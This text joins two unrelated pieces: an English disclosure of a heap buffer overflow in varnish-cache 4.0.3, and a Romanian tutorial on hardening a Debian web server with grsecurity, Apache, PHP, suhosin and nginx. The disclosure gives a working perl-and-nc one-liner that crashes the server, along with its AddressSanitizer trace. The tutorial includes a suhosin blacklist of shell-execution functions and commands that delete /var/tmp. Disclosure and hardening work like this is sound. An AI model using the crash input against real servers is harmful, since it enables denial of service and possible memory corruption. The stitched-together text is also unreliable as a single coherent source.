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Hi there, Latest varnish-cache 4.0.3 (https://www.varnish-cache.org/) seem to have a problem with parsing HTTP responses from backend. The following example response will trigger a heap buffer overflow : -- cut -- perl -e 'print "HTTP/1.1 200 OK\r\nContent-Length: dupa" . "\n" x 15855 . "A" x 10000 . "\n" ' | nc -l 1098 -- cut -- assuming your config uses localhost:1098 as backend. meh kernel: [2045151.042468] traps: varnishd[25794] general protection ip:42982c sp:7eff082db2d0 error:0 in varnishd[400000+ac000] Original asan report : --- cut --- ================================================================= ==12962==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62900cb24200 at pc 0x7feffed5a87b bp 0x7fef7b213fa0 sp 0x7fef7b213760 WRITE of size 32029 at 0x62900cb24200 thread T596 #0 0x7feffed5a87a (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x2e87a) #1 0x7feffff11849 in HTTP1_Read (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xe8849) #2 0x7feffff04727 in v1f_pull_straight (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xdb727) #3 0x7fefffee1a35 in vfp_call (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb8a35) #4 0x7fefffee210f in VFP_Suck (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb910f) #5 0x7fefffee2ee3 in VFP_Fetch_Body (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb9ee3) #6 0x7fefffed9f56 in vbf_stp_fetch (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb0f56) #7 0x7fefffedea60 in vbf_fetch_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb5a60) #8 0x7feffff2d06a in Pool_Work_Thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10406a) #9 0x7feffff7b040 in wrk_thread_real (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152040) #10 0x7feffff7b442 in WRK_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152442) #11 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) #12 0x7feffd9fa00c in __clone (/lib/x86_64-linux-gnu/libc.so.6+0xfb00c) 0x62900cb24200 is located 0 bytes to the right of 16384-byte region [0x62900cb20200,0x62900cb24200) allocated by thread T596 here: #0 0x7feffed807df in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x547df) #1 0x7feffffbe5e1 in sma_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1955e1) #2 0x7feffffb04c9 in stv_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1874c9) #3 0x7feffffb0e7b in stv_alloc_obj (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x187e7b) #4 0x7feffffb39ee in STV_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x18a9ee) #5 0x7fefffee1696 in VFP_GetStorage (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb8696) #6 0x7fefffee2953 in VFP_Fetch_Body (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb9953) #7 0x7fefffed9f56 in vbf_stp_fetch (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb0f56) #8 0x7fefffedea60 in vbf_fetch_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb5a60) #9 0x7feffff2d06a in Pool_Work_Thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10406a) #10 0x7feffff7b040 in wrk_thread_real (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152040) #11 0x7feffff7b442 in WRK_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152442) #12 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T596 created by T16 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2d18d in pool_breed (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10418d) #2 0x7feffff2dd3f in pool_herder (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x104d3f) #3 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T16 created by T6 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2f043 in pool_mkpool (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x106043) #2 0x7feffff2f527 in pool_poolherder (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x106527) #3 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T6 created by T0 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2f8e1 in Pool_Init (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1068e1) #2 0x7feffff1a4cb in child_main (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xf14cb) #3 0x7feffff91402 in mgt_launch_child (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x168402) #4 0x7feffff92e06 in mgt_reap_child (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x169e06) #5 0x7feffff90541 in child_listener (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x167541) #6 0x7feffeb09ce7 in vev_schedule_one (/home/meh/varnish-4.0.3-asan/lib/varnish/libvarnish.so+0x24ce7) #7 0x7feffeb084b8 in vev_schedule (/home/meh/varnish-4.0.3-asan/lib/varnish/libvarnish.so+0x234b8) #8 0x7feffff93ff6 in MGT_Run (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x16aff6) #9 0x7feffff9db1f in main (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x174b1f) #10 0x7feffd920ec4 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ?? Shadow bytes around the buggy address: 0x0c528195c7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c528195c840:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c850: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c860: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c870: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c890: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa --- cut --- Our understanding after previous reports is that varnish security model assumes full trust of the backend, so this is not considered a security problem (but we do). Best regards, Filip Palian Akat1 Marek Kroemeke Source

Acest tutorial este adresat celor care doresc sa isi configureze un server cu Debian. O sa acopar in in el urmatoarele aspecte: 1. Instalare kernel cu grsec. 2. Instalare si configurare apache. 3. Instalare si configurare php. 4. Instalare si module php (extensii). 5. Configurare suhosin. 6. Instalare MySQL Server. 7. Modificari diverse permisiuni pentru un nivel mai bun de securitate 8. Instalare nginx si folosirea lui ca frontend pentru apache (dual strat web server) ---------------- 1. Instalare kernel cu grsec. Daca nu stiti inca ce este grsec/grsecurity, un bun punct de plecare este Grsecurity. Pentru linux, grsecurity este un fel de "sfantul graal" in materie de securitate. In plus, va scapa de o problema ce o are linux si care pe mine ma irita: ps aux dupa user, arata toate procesele. root@tex:~# echo "deb http://debian.cr0.org/repo/ kernel-security/" >> /etc/apt/sources.list root@tex:~# wget http://kernelsec.cr0.org/kernel-security.asc root@tex:~# apt-key add kernel-security.asc OK root@tex:~# apt-get update root@tex:~# apt-cache search grsec linux-source-2.6.32.15-1-grsec - Linux kernel source for version 2.6.32.15-1-grsec linux-source-2.6.25.10-1-grsec - Linux kernel source for version 2.6.25.10-1-grsec linux-image-2.6.32.15-1-grsec - Linux kernel binary image for version 2.6.32.15-1-grsec linux-headers-2.6.32.15-1-grsec - Header files related to Linux kernel, specifically, linux-source-2.6.27.29-4-grsec - Linux kernel source for version 2.6.27.29-4-grsec root@tex:~# apt-get install linux-image-2.6.32.15-1-grsec linux-headers-2.6.32.15-1-grsec root@tex:~# init 6 # aici dam reboot pentru a boota noul kernel. // Dupa reboot root@tex:~# uname -a Linux tex 2.6.32.15-1-grsec #2 SMP Mon Jun 28 09:05:30 CEST 2010 x86_64 GNU/Linux root@tex:~# su - tex tex@tex:~$ ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND tex 2103 0.6 0.1 36908 1276 pts/0 S 00:58 0:00 su - tex tex 2104 13.0 0.6 23380 6200 pts/0 S 00:58 0:00 -su tex 2129 0.0 0.1 16332 1176 pts/0 R+ 00:58 0:00 ps aux Din cate observati, vad doar procesele mele dupa user. 2. Instalare si configurare apache. root@tex:~# apt-get install apache2-mpm-prefork apache2.2-common apache2.2-bin root@tex:~# rm /etc/apache2/sites-available/default root@tex:~# cat >> /etc/apache2/sites-available/default << EOF > NameVirtualHost * > > <Directory "/var/www"> > AllowOverride AuthConfig FileInfo Options Indexes Limit > Options FollowSymLinks > Options -Indexes > </Directory> > > <VirtualHost *> > DocumentRoot /var/www > ServerName 10.0.0.220 > CustomLog /var/log/apache2/access_log combined > ErrorLog /var/log/apache2/error_log > </VirtualHost> > EOF root@tex:~# Apache o sa-l listam pe 127.0.0.1 port 81 si o sa fie backend. root@tex:~# echo "Listen 127.0.0.1:81" > /etc/apache2/ports.conf root@tex:~# /etc/init.d/apache2 start 3. Instalare si configurare php (plus libapache2-mod-php5, necesar la apache (mod php)) PHP-ul o sa-l instalez de la dotdeb. root@tex:~# echo "deb http://packages.dotdeb.org stable all" >> /etc/apt/sources.list root@tex:~# echo "deb-src http://packages.dotdeb.org stable all" >> /etc/apt/sources.list root@tex:~# wget http://www.dotdeb.org/dotdeb.gpg root@tex:~# cat dotdeb.gpg |apt-key add - && rm dotdeb.gpg OK root@tex:~# apt-get update root@tex:~# apt-get install php5 php5-cli libapache2-mod-php5 php5-common php5-suhosin Inlocuiesc "expose_php = On" cu "expose_php = Off" / "short_open_tag = Off" cu "short_open_tag = On" si "session.name = PHPSESSID" cu "session.name = SERVLET" in php.ini pentru apache2. root@tex:~# perl -pi -e 's/expose_php = On/expose_php = Off/' /etc/php5/apache2/php.ini root@tex:~# perl -pi -e 's/short_open_tag = Off/short_open_tag = On/' /etc/php5/apache2/php.ini root@tex:~# perl -pi -e 's/PHPSESSID/SERVLET/' /etc/php5/apache2/php.ini 4. Instalare si configurare module php (extensii). O sa instalez urmatoarele extensii php: curl, gd, mcrypt, mysql. root@tex:~# apt-get install php5-curl php5-gd php5-mcrypt php5-mysql 5. Configurare suhosin. Din motive de securitate, o sa adaug in blacklisted utilizand suhosin urmatoarele functii: exec,shell_exec,passthru,show_source,dl,leak,ini_alter,ini_restore,proc_open,proc_nice,proc_terminate,proc_close,proc_get_status,symlink,system,popen,pcntl_getpriority,pcntl_wait,diskfreespace,disk_free_space,disk_total_space,get_current_user,stream_socket_accept,stream_socket_client,stream_socket_get_name,stream_socket_recvfrom,stream_socket_sendto,stream_socket_server,stream_socket_shutdown root@tex:~# cat >> /etc/php5/conf.d/suhosin.ini << EOF > > suhosin.executor.func.blacklist = "exec,shell_exec,passthru,show_source,dl,leak,ini_alter,ini_restore,proc_open,proc_nice,proc_terminate,proc_close,proc_get_status,symlink,system,popen,pcntl_getpriority,pcntl_wait,diskfreespace,disk_free_space,disk_total_space,get_current_user,stream_socket_accept,stream_socket_client,stream_socket_get_name,stream_socket_recvfrom,stream_socket_sendto,stream_socket_server,stream_socket_shutdown" > suhosin.cookie.max_array_depth = 256 > suhosin.cookie.max_array_index_length = 256 > suhosin.cookie.max_name_length = 256 > suhosin.cookie.max_totalname_length = 512 > suhosin.cookie.max_value_length = 20000 > suhosin.cookie.max_vars = 200 > suhosin.get.max_array_depth = 200 > suhosin.get.max_totalname_length = 1024 > suhosin.get.max_value_length = 1024 > suhosin.get.max_vars = 1024 > > > suhosin.post.max_array_depth = 1024 > suhosin.post.max_array_index_length = 1024 > suhosin.post.max_name_length = 1024 > suhosin.post.max_totalname_length = 1024 > suhosin.post.max_value_length = 95000 > suhosin.post.max_vars = 1024 > > suhosin.request.max_vars = 512 > suhosin.request.max_value_length = 90000 > suhosin.request.max_totalname_length = 1024 > suhosin.upload.max_uploads = 400 > > suhosin.executor.include.max_traversal = 2 > > EOF root@tex:~# Cam asa arata php in cli: root@tex:~# php -v PHP 5.3.8-1~dotdeb.2 with Suhosin-Patch (cli) (built: Aug 25 2011 13:30:46) Copyright (c) 1997-2011 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2011 Zend Technologies with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH root@tex:~# 6. Instalare MySQL Server si MySQL Client root@tex:~# apt-get install mysql-client-5.5 mysql-server-5.5 7. Modificari diverse permisiuni pentru un nivel mai bun de securitate Mountam tmpfs in /tmp cu flag-urile "noexec,nosuid,nodev" din motive de securitate. root@tex:~# echo "tmpfs /tmp tmpfs noexec,nosuid,nodev 2 2" >> /etc/fstab root@tex:~# mount /tmp root@tex:~# mount |grep "/tmp" tmpfs on /tmp type tmpfs (rw,noexec,nosuid,nodev) Stergem "/var/tmp" si il facem simlink catre tmp. root@tex:~# rm -rf /var/tmp/ && ln -s /tmp /var/tmp Dam chmod 640 la "/dev/shm" din motive de securitate. root@tex:~# chmod 640 /dev/shm 8. Instalare nginx si folosirea lui ca frontend pentru apache (dual strat web server) O sa listam port 80 cu nginx si o sa-l folosim ca frontend pentru apache, care se listeaza pe 127.0.0.1 port 81. (reverse proxy) root@tex:~# apt-get install nginx root@tex:~# rm /etc/nginx/sites-enabled/default root@tex:~# pico /etc/nginx/sites-enabled/default # fisier configuratie server { listen 0.0.0.0:80 default; server_name _; access_log off; error_log /dev/null; location / { proxy_pass http://127.0.0.1:81; proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } } Pornim nginx-ul. root@tex:~# /etc/init.d/nginx start Starting nginx: nginx. root@tex:~# [URL="http://i42.tinypic.com/121zmtx.png"]O sa pun un phpinfo in "/var/www/"[/URL] pentru a vedea daca este totul in ordine si o sa sterg index.html (default) root@tex:~# echo "<?php phpinfo(); ?>" >> /var/www/index.php root@tex:~# rm /var/www/index.html // restart la apache. root@tex:~# /etc/init.d/apache2 restart --------- Note: - Daca aveti intrebari legate de acest tutorial, va raspund cu cea mai mare placere. - Imi cer scuze pentru eventualele greseli legate de exprimare (am cam tras chiulul de la somn) - Nu am specificat sursa acestui tutorial pentru ca este facut de mine.